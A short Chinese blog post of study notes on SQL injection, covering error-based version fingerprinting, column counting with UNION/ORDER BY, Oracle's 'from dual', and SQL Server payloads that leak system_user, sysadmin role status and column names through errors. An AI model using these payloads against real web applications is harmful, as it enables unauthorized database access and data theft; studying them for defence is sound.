SQLi-杂

Author Avatar
Aryb1n 9月 23, 2016
  1. 识别数据库版本一般就是 引入@@version 变量之类的 把他放在一个奇异的地方然后让他报错

  2. 识别列数的两种方法

    • 使用 union 查询
      • 当结果只能返回一行我们该如何做
        ?id = ‘a’ and 1 = 2 union select balabala…(让前面查询永为假)
      • 为了防止类型不匹配 我们可以用null
      • 得到列数后, 可以用字符串or数字分别替换null,不报错即得到数据类型
    • 使用 order by id
  3. 对于oracle这种必须得有from子句的sql方言,可以让他from dual

  4. SQL server提供了比其他DBMS更加详尽的信息
    ?id=2
    => ?id=system_user 类型转换错误 可能会爆system_user的值
    => ?id=0/@@version 同理
    => ?id=char(65 + is_srvrolemember(‘sysadmin’)) 仍然同理

    => ?id=1 having 1 = 1 爆出第一列列名 如poducts.id
    => ?id=1 group by products.id having 1 = 1 爆出第二列列名 如products.name
    => …